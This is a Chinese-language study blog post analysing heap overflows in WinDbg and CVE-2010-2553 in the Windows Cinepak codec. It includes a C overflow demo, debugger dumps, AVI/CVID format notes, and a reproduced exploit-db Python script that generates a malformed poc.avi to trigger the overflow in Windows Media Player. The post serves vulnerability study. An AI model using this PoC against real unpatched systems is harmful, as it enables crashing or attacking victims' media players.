这篇文章可以分为两大部分,前半部分根据《漏洞战争》的代码,在调试的过程中重新复习了一遍堆结构相关的知识,并学习了Windbg提供的堆调试选项;后半部分是对CVE-2010-2553分析,包括AVI格式分析以及漏洞函数代码分析。
在学习过程中发现了书中对AVI格式的介绍存在一些问题,同时对于溢出漏洞也有了更深的理解。
之前一直在看栈溢出漏洞,这次选择堆溢出,之后也会各个漏洞轮流分析,加强一下记忆。
由于有一段时间没看过这部分内容,再加上《漏洞战争》中使用的是Windbg这个我不太熟悉的工具,所以决定完整的跟一遍前面的“堆溢出原理”小结,同时回顾一下自己在学习0day时总结的堆溢出漏洞笔记。
注:书中该实验环境是Win7简体中文旗舰版,我使用的版本不同,结果并没有触发异常,这里也要分析一下原因
实验环境:WinXP SP3
实验代码:
程序在int 3
中断并进入调试器之后,刚刚执行完HeapCreate
,起始地址为0x3a0000
,根据0day中学到的知识,偏移0x178
的位置是空表索引区:
可以看到0x003a0688
那里就是Freelist[0]
中唯一一个空的堆块:
这个空的堆块大小为0x130*8=0x980
字节,后面的两个0x003a0178
就构成了一个双向链表。
F10继续往下执行,执行完HeapAlloc
之后:
首字节0x03
表示该块的大小为3*8=24
字节,包含16字节的数据区域和8字节的块首,之前保存了双向链表指针的区域虽然内容没有发生变化,但是这里已经用来存在数据了。而0x003a06a0
处则存在放了新的空闲堆块双向链表指针。
也可以使用Windbg中的!heap
指令查看堆块的情况:
在我们分配的0x10
的堆块后面,0x3a0698
处有一个大小为0x960
的空闲堆块。获得了堆块的地址之后,可以使用dt struct addr
查看具体的结构体成员值:
这时这个空闲堆块一切正常。继续执行完字符串的复制之后:
可以看到,由于复制的字符串长度大于堆块的大小,数据发生了溢出,将后面空闲堆块中存放的双向链表指针覆盖成了0x41414141
。
按照书中的构想,接下来在执行HeapFree
的时候,会合并这块分配出来的堆块和后面的空闲堆块,从空闲堆块的链表指针中获取下一个堆块地址,进行写入操作,从而触发异常。但是在我的实验中,并没有发生异常,通过调试,发现这一块代码:
注意这里经过计算后,得到的ebx的值是0x3a0190
,也就是24字节的freelist[3]
在空表索引区的位置,然后执行了下面的操作:
将之前分配的堆块中双向链表指针的位置修改成了0x3a0190
。也就是说在我的实验环境中,新释放的这个堆块并没有和后面的空闲堆块合并,而是被分配到了freelist[3]
中,因此也就没有触发异常。
在Windbg中可以使用!gflag [-? | flags]
命令设置或取消对应GlobalFlags,从而实现堆调试:
其中比较重要的有:
hpa:启用页堆,在堆块后增加用于检测溢出的栅栏页,若发生堆溢出触及栅栏页会立刻触发异常。
设置这个标志可以定位到导致漏洞的代码或函数
CVE-2010-2553存在于Microsoft Windows XP SP2和SP3, Windows Vista SP1和SP2, 以及Windows 7的Cinepak解码器中,iccvid.dll在解压缩媒体文件时,没有对缓冲区大小进行检测,导致在复制压缩数据时造成堆溢出。
在exploit-db网站上,有ABYSSSEC提供的poc文件生成代码:
因为了解avi格式只是用于分析漏洞,不需要太详尽,所以只根据这份代码生成的poc文件来看文件格式。
AVI文件采用RIFF文件格式,这种文件格式的基本单元是块(CHUNK):
一个AVI文件结构可以参考下图:
按照这种格式对POC文件进行标注,得到:
根据上图的信息,真正的cvid数据应该在movi
块中偏移12个字节的位置(偏移4是00dc标识符,偏移8是数据长度)
以下格式的理解参考cinepak文档,可能有错误,与《漏洞战争》中的分析也有不同,后面调试的时候会尝试进行验证。
cvid数据内容如下:
根据文档,Cinepak视频流通常由如下几个部分组成:
其中Frame Header长度为10个字节,格式如下,
从Frame Header中可以得到CVID数据长度为0x68,strip的数量是16个,接下来就是strip的内容了,先看一下Strip 1 Header结构:
这个strip的数据长度是16字节。
紧跟在Header之后的是CVID Chunk,Codebooks和Frame Vectors都在这个结构里面,其结构如下:
所以这个chunk的大小是0。正好这里也到达了strip 1的16个字节的长度要求。下面应该是下一个strip了(这里书中说的我和理解的不一样,书中说这里是下一个chunk ID)。
总体来看结构是这样的:
CVID的数据长度为0x68
,超过了已有数据长度。除此之外,strip 2的长度在header中定义的是16个字节,但是里面的chunk数据长度为0x4141
,这肯定是有问题的。不过不知道异常触发是不是这个原因,还需要进一步分析。
打开Windows Media Player,使用Windbg附加到该进程,然后启用页堆,打开poc文件
定位漏洞代码:
通过查看调用栈,找到漏洞函数:
现在找到了漏洞函数的位置0x73c0cbee
,需要在这里下断点重新调试,但是这个地址位于iccvid.dll
文件中,只有在程序加载完该DLL文件后才能在这里下断点。
重新附加到Windows Media Player上面,执行命令sxe ld:iccvid
,然后打开poc文件,这时会中断在程序加载iccvid.dll
的时候,这时再下断点:
F11步入这个函数,然后看一下这时候的调用栈:
可以看到当前函数的参数,第三个参数是0x68
,就是我们上面分析的CVID数据长度。再加上对于漏洞本身的了解,合理猜测前面两个参数是数据复制的目的地址和源地址,看一下:
第二个参数0x2676af8
处的数据是不是特别眼熟,就是上面的CVID数据,看来第二个参数确实是源数据,b( ̄▽ ̄)d。而第一个参数那里保存的是一些函数地址,不知道有什么用(后来发现这里的一块空间应该是用于存储数据的)。
接下来我是IDA+Windbg同步进行分析的,由于Windbg的结果贴上来实在太冗杂了,所以直接贴上IDA中的代码分析结果:
上述代码理解可以看下面这张图:
每次遇到strip ID是0x1100
的时候,都会进行数据的复制操作,每次复制的字节数为0x2000
,这里并没有判断堆中是否能够容纳这么多的数据,查看一下堆块的大小:
可以看到这个堆的大小是0x6000
,也就是说复制三次数据就满了,第四次再复制的时候就会导致堆溢出。o( ̄▽ ̄)ブ
目前看来我对于CVID格式的理解是没什么问题的,chunk是strip的一部分,strip1后面跟着strip2,以此类推
!heap
:查看堆相关信息
使用!heap -?
查看帮助信息
!heap -p
:查看所有可能的handle值
!heap -p -h HANDLE
:查看对应HANDLE的详细分配信息
!heap -p -a ADDR
:显示具体某个堆块的详细信息
dt STRUCTURE ADDR
:按照STRUCTURE结构显示ADDR处结构体各成员值
sx
:用于控制被调试程序发生某异常或特定事件时,调试器要采取的动作
sxe ld:ModuleName
在首次加载ModuleName的时候中断。
这次漏洞分析花费的时间主要集中在前面对于堆溢出相关知识的复习,以及AVI格式的学习上。一旦对于格式有所了解,使用!gflag
定位到漏洞函数后,代码分析就很简单了。
!gflag
和!heap
命令在堆溢出的漏洞分析上帮助很大;如何使用Windbg,在加载DLL之后设置断点也是新接触到的一个知识点。
对于该漏洞本身,在刚看到漏洞介绍时,我只以为是在单次strcpy调用时复制的数据超过了目标空间大小,但实际调试时发现是多次同样大小的数据复制最终超过了目标空间大小,虽然原理相同,但这里需要判断的其实应该是复制的次数而不是大小了。
int
main () {
HANDLE hHeap;
char
*
heap;
char
str
[]
=
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
;
hHeap
=
HeapCreate(HEAP_GENERATE_EXCEPTIONS,
0x1000
,
0xffff
);
__asm
int
3
heap
=
(char
*
)HeapAlloc(hHeap,
0
,
0x10
);
printf(
"heap addr: 0x%08x\n"
, heap);
strcpy(heap,
str
);
HeapFree(hHeap,
0
, heap);
HeapDestroy(hHeap);
return
0
;
}
int
main () {
HANDLE hHeap;
char
*
heap;
char
str
[]
=
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
;
hHeap
=
HeapCreate(HEAP_GENERATE_EXCEPTIONS,
0x1000
,
0xffff
);
__asm
int
3
heap
=
(char
*
)HeapAlloc(hHeap,
0
,
0x10
);
printf(
"heap addr: 0x%08x\n"
, heap);
strcpy(heap,
str
);
HeapFree(hHeap,
0
, heap);
HeapDestroy(hHeap);
return
0
;
}
0
:
000
> dd
3a0178
003a0178
003a0688
003a0688
003a0180
003a0180
003a0188
003a0188
003a0188
003a0190
003a0190
003a0198
003a0198
003a0198
003a01a0
003a01a0
003a01a8
003a01a8
003a01a8
003a01b0
003a01b0
003a01b8
003a01b8
003a01b8
003a01c0
003a01c0
003a01c8
003a01c8
003a01c8
003a01d0
003a01d0
003a01d8
003a01d8
003a01d8
003a01e0
003a01e0
003a01e8
003a01e8
003a01e8
003a01f0
003a01f0
0
:
000
> dd
3a0178
003a0178
003a0688
003a0688
003a0180
003a0180
003a0188
003a0188
003a0188
003a0190
003a0190
003a0198
003a0198
003a0198
003a01a0
003a01a0
003a01a8
003a01a8
003a01a8
003a01b0
003a01b0
003a01b8
003a01b8
003a01b8
003a01c0
003a01c0
003a01c8
003a01c8
003a01c8
003a01d0
003a01d0
003a01d8
003a01d8
003a01d8
003a01e0
003a01e0
003a01e8
003a01e8
003a01e8
003a01f0
003a01f0
0
:
000
> db
3a0680
003a0680
30
01
08
00
00
10
00
00
-
78
01
3a
00
78
01
3a
00
0.
......x.:.x.:.
003a0690
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06a0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06b0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06c0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06d0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06e0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06f0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
0
:
000
> db
3a0680
003a0680
30
01
08
00
00
10
00
00
-
78
01
3a
00
78
01
3a
00
0.
......x.:.x.:.
003a0690
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06a0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06b0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06c0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06d0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06e0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06f0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
0
:
000
> db
3a0680
003a0680
03
00
08
00
15
01
08
00
-
78
01
3a
00
78
01
3a
00
........x.:.x.:.
003a0690
00
00
00
00
00
00
00
00
-
2d
01
03
00
00
10
00
00
........
-
.......
003a06a0
78
01
3a
00
78
01
3a
00
-
00
00
00
00
00
00
00
00
x.:.x.:.........
003a06b0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06c0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06d0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06e0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06f0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
0
:
000
> db
3a0680
003a0680
03
00
08
00
15
01
08
00
-
78
01
3a
00
78
01
3a
00
........x.:.x.:.
003a0690
00
00
00
00
00
00
00
00
-
2d
01
03
00
00
10
00
00
........
-
.......
003a06a0
78
01
3a
00
78
01
3a
00
-
00
00
00
00
00
00
00
00
x.:.x.:.........
003a06b0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06c0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06d0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06e0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
003a06f0
00
00
00
00
00
00
00
00
-
00
00
00
00
00
00
00
00
................
0
:
000
> !heap
-
p
No GlobalFlag bits active
for
this process
active heaps:
-
140000
HEAP_GROWABLE
-
240000
HEAP_GROWABLE HEAP_CLASS_1
-
250000
HEAP_CLASS_8
-
380000
HEAP_NO_SERIALIZE HEAP_GROWABLE HEAP_CLASS_1
-
3a0000
HEAP_GENERATE_EXCEPTIONS HEAP_CLASS_1
0
:
000
> !heap
-
p
-
h
0x3a0000
_HEAP @
3a0000
No FrontEnd
_HEAP_SEGMENT @
3a0640
CommittedRange @
3a0680
HEAP_ENTRY Size Prev Flags UserPtr UserSize
-
state
003a0680
0003
0000
[
01
]
003a0688
00010
-
(busy)
003a0698
012d
0003
[
10
]
003a06a0
00960
-
(free)
VirtualAllocdBlocks @
3a0050
0
:
000
> !heap
-
p
No GlobalFlag bits active
for
this process
active heaps:
-
140000
HEAP_GROWABLE
-
240000
HEAP_GROWABLE HEAP_CLASS_1
-
250000
HEAP_CLASS_8
-
380000
HEAP_NO_SERIALIZE HEAP_GROWABLE HEAP_CLASS_1
-
3a0000
HEAP_GENERATE_EXCEPTIONS HEAP_CLASS_1
0
:
000
> !heap
-
p
-
h
0x3a0000
_HEAP @
3a0000
No FrontEnd
_HEAP_SEGMENT @
3a0640
CommittedRange @
3a0680
HEAP_ENTRY Size Prev Flags UserPtr UserSize
-
state
003a0680
0003
0000
[
01
]
003a0688
00010
-
(busy)
003a0698
012d
0003
[
10
]
003a06a0
00960
-
(free)
VirtualAllocdBlocks @
3a0050
0
:
000
> dt _HEAP_FREE_ENTRY
0x003a0698
ntdll!_HEAP_FREE_ENTRY
+
0x000
Size :
0x12d
+
0x002
PreviousSize :
3
+
0x000
SubSegmentCode :
0x0003012d
Void
+
0x004
SmallTagIndex :
0
''
+
0x005
Flags :
0x10
''
+
0x006
UnusedBytes :
0
''
+
0x007
SegmentIndex :
0
''
+
0x008
FreeList : _LIST_ENTRY [
0x3a0178
-
0x3a0178
]
0
:
000
> dt _HEAP_FREE_ENTRY
0x003a0698
ntdll!_HEAP_FREE_ENTRY
+
0x000
Size :
0x12d
+
0x002
PreviousSize :
3
+
0x000
SubSegmentCode :
0x0003012d
Void
+
0x004
SmallTagIndex :
0
''
+
0x005
Flags :
0x10
''
+
0x006
UnusedBytes :
0
''
+
0x007
SegmentIndex :
0
''
+
0x008
FreeList : _LIST_ENTRY [
0x3a0178
-
0x3a0178
]
0
:
000
> dt _HEAP_FREE_ENTRY
0x003a0698
ntdll!_HEAP_FREE_ENTRY
+
0x000
Size :
0x4141
+
0x002
PreviousSize :
0x4141
+
0x000
SubSegmentCode :
0x41414141
Void
+
0x004
SmallTagIndex :
0x41
'A'
+
0x005
Flags :
0x41
'A'
+
0x006
UnusedBytes :
0x41
'A'
+
0x007
SegmentIndex :
0x41
'A'
+
0x008
FreeList : _LIST_ENTRY [
0x41414141
-
0x41414141
]
0
:
000
> dt _HEAP_FREE_ENTRY
0x003a0698
ntdll!_HEAP_FREE_ENTRY
+
0x000
Size :
0x4141
+
0x002
PreviousSize :
0x4141
+
0x000
SubSegmentCode :
0x41414141
Void
+
0x004
SmallTagIndex :
0x41
'A'
+
0x005
Flags :
0x41
'A'
+
0x006
UnusedBytes :
0x41
'A'
+
0x007
SegmentIndex :
0x41
'A'
+
0x008
FreeList : _LIST_ENTRY [
0x41414141
-
0x41414141
]
0
:
000
> p
eax
=
00000003
ebx
=
00000004
ecx
=
7ffdd000
edx
=
003a0608
esi
=
003a0680
edi
=
003a0000
eip
=
7c910ac2
esp
=
0012fe7c
ebp
=
0012ff38
iopl
=
0
nv up ei pl zr na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000246
ntdll!RtlFreeHeap
+
0x30a
:
7c910ac2
8d9cc778010000
lea ebx,[edi
+
eax
*
8
+
178h
]
0
:
000
> p
eax
=
00000003
ebx
=
00000004
ecx
=
7ffdd000
edx
=
003a0608
esi
=
003a0680
edi
=
003a0000
eip
=
7c910ac2
esp
=
0012fe7c
ebp
=
0012ff38
iopl
=
0
nv up ei pl zr na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000246
ntdll!RtlFreeHeap
+
0x30a
:
7c910ac2
8d9cc778010000
lea ebx,[edi
+
eax
*
8
+
178h
]
0
:
000
> p
eax
=
003a0688
ebx
=
003a0190
ecx
=
003a0190
edx
=
00000008
esi
=
003a0680
edi
=
003a0000
eip
=
7c910b07
esp
=
0012fe7c
ebp
=
0012ff38
iopl
=
0
nv up ei pl nz na po nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000202
ntdll!RtlFreeHeap
+
0x34f
:
7c910b07
8918
mov dword ptr [eax],ebx ds:
0023
:
003a0688
=
41414141
0
:
000
> p
eax
=
003a0688
ebx
=
003a0190
ecx
=
003a0190
edx
=
00000008
esi
=
003a0680
edi
=
003a0000
eip
=
7c910b07
esp
=
0012fe7c
ebp
=
0012ff38
iopl
=
0
nv up ei pl nz na po nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000202
ntdll!RtlFreeHeap
+
0x34f
:
7c910b07
8918
mov dword ptr [eax],ebx ds:
0023
:
003a0688
=
41414141
0
:
000
> !gflag
-
?
usage: !gflag [
-
? | flags]
Flags may either be a single
hex
number that specifies
all
32
-
bits of the GlobalFlags value,
or
it can be one
or
more
arguments, each beginning with a
+
or
-
, where the
+
means
to
set
the corresponding bit(s)
in
the GlobalFlags
and
a
-
means to clear the corresponding bit(s). After the
+
or
-
may be either a
hex
number
or
a three letter abbreviation
for
a GlobalFlag. Valid abbreviations are:
soe
-
Stop On Exception
sls
-
Show Loader Snaps
htc
-
Enable heap tail checking
hfc
-
Enable heap free checking
hpc
-
Enable heap parameter checking
hvc
-
Enable heap validation on call
vrf
-
Enable application verifier
htg
-
Enable heap tagging
ust
-
Create user mode stack trace database
htd
-
Enable heap tagging by DLL
dse
-
Disable stack extensions
scb
-
Enable system critical breaks
dhc
-
Disable Heap Coalesce on Free
hpa
-
Place heap allocations at ends of pages
cse
-
Early critical section event creation
dpd
-
Disable protected DLL verification
0
:
000
> !gflag
-
?
usage: !gflag [
-
? | flags]
Flags may either be a single
hex
number that specifies
all
32
-
bits of the GlobalFlags value,
or
it can be one
or
more
arguments, each beginning with a
+
or
-
, where the
+
means
to
set
the corresponding bit(s)
in
the GlobalFlags
and
a
-
means to clear the corresponding bit(s). After the
+
or
-
may be either a
hex
number
or
a three letter abbreviation
for
a GlobalFlag. Valid abbreviations are:
soe
-
Stop On Exception
sls
-
Show Loader Snaps
htc
-
Enable heap tail checking
hfc
-
Enable heap free checking
hpc
-
Enable heap parameter checking
hvc
-
Enable heap validation on call
vrf
-
Enable application verifier
htg
-
Enable heap tagging
ust
-
Create user mode stack trace database
htd
-
Enable heap tagging by DLL
dse
-
Disable stack extensions
scb
-
Enable system critical breaks
dhc
-
Disable Heap Coalesce on Free
hpa
-
Place heap allocations at ends of pages
cse
-
Early critical section event creation
dpd
-
Disable protected DLL verification
import
sys
def
main():
aviHeaders
=
'\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
padding
=
'\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
movi_tag
=
'\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
cinepak_codec_data1
=
'\x00\x00\x00\x68\x01\x60\x01\x20'
number_of_coded_strips
=
'\x00\x10'
cinepak_codec_data2
=
'\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
idx_tag
=
'\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'
avifile
=
open
(
'poc.avi'
,
'wb+'
)
avifile.write(aviHeaders)
avifile.write(padding)
avifile.write(movi_tag)
avifile.write(cinepak_codec_data1)
avifile.write(number_of_coded_strips)
avifile.write(cinepak_codec_data2)
avifile.write(idx_tag)
avifile.close()
print
'[-] AVI file generated'
if
__name__
=
=
'__main__'
:
main()
import
sys
def
main():
aviHeaders
=
'\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
padding
=
'\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
movi_tag
=
'\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
cinepak_codec_data1
=
'\x00\x00\x00\x68\x01\x60\x01\x20'
number_of_coded_strips
=
'\x00\x10'
cinepak_codec_data2
=
'\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
idx_tag
=
'\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'
avifile
=
open
(
'poc.avi'
,
'wb+'
)
avifile.write(aviHeaders)
avifile.write(padding)
avifile.write(movi_tag)
avifile.write(cinepak_codec_data1)
avifile.write(number_of_coded_strips)
avifile.write(cinepak_codec_data2)
avifile.write(idx_tag)
avifile.close()
print
'[-] AVI file generated'
if
__name__
=
=
'__main__'
:
main()
struct chunk {
uint32_t
ID
;
/
/
块标识符
uint32_t Size;
/
/
块数据大小
uint8_t Data[Size];
/
/
块数据
};
struct chunk {
uint32_t
ID
;
/
/
块标识符
uint32_t Size;
/
/
块数据大小
uint8_t Data[Size];
/
/
块数据
};
0000h
00
00
00
68
01
60
01
20
00
10
10
00
00
10
00
00
0010h
00
00
00
60
01
60
20
00
00
00
11
00
00
10
41
41
0020h
41
41
41
41
41
41
41
41
41
41
11
00
00
10
41
41
0030h
41
41
41
41
41
41
41
41
41
41
11
00
00
10
41
41
0040h
41
41
41
41
41
41
41
41
41
41
11
00
00
10
41
00
0000h
00
00
00
68
01
60
01
20
00
10
10
00
00
10
00
00
0010h
00
00
00
60
01
60
20
00
00
00
11
00
00
10
41
41
0020h
41
41
41
41
41
41
41
41
41
41
11
00
00
10
41
41
0030h
41
41
41
41
41
41
41
41
41
41
11
00
00
10
41
41
0040h
41
41
41
41
41
41
41
41
41
41
11
00
00
10
41
00
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Frame Header |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
1
Header |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
1
Codebooks |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
1
Frame Vectors |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
2
Header |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
2
Codebooks |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
2
Frame Vectors |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
3
Header |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| . . . |
. . .
| . . . |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Frame Header |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
1
Header |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
1
Codebooks |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
1
Frame Vectors |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
2
Header |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
2
Codebooks |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
2
Frame Vectors |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| Strip
3
Header |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
| . . . |
. . .
| . . . |
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
7
6
5
4
3
2
1
0
Field Name
Type
Value
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
0
|
0
0
0
0
0
0
0
0
| Flags Byte
0
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
|
0
0
0
0
0
0
0
0
| Length of CVID data Unsigned
0x68
+
-
-
+
2
|
0
0
0
0
0
0
0
0
|
+
-
-
+
3
|
0
1
1
0
1
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
4
|
0
0
0
0
0
0
0
1
| Width of coded frame Unsigned
0x160
+
-
-
+
5
|
0
1
1
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
6
|
0
0
0
0
0
0
0
1
| Height of coded frame Unsigned
0x120
+
-
-
+
7
|
0
0
1
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
8
|
0
0
0
0
0
0
0
0
| Number of coded strips Unsigned
0x10
+
-
-
+
9
|
0
0
0
1
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
7
6
5
4
3
2
1
0
Field Name
Type
Value
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
0
|
0
0
0
0
0
0
0
0
| Flags Byte
0
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
1
|
0
0
0
0
0
0
0
0
| Length of CVID data Unsigned
0x68
+
-
-
+
2
|
0
0
0
0
0
0
0
0
|
+
-
-
+
3
|
0
1
1
0
1
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
4
|
0
0
0
0
0
0
0
1
| Width of coded frame Unsigned
0x160
+
-
-
+
5
|
0
1
1
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
6
|
0
0
0
0
0
0
0
1
| Height of coded frame Unsigned
0x120
+
-
-
+
7
|
0
0
1
0
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
8
|
0
0
0
0
0
0
0
0
| Number of coded strips Unsigned
0x10
+
-
-
+
9
|
0
0
0
1
0
0
0
0
|
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
7
6
5
4
3
2
1
0
Field Name
Type
Value
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
0
|
0
0
0
1
0
0
0
0
| Strip CVID
ID
Unsigned
0x1000
+
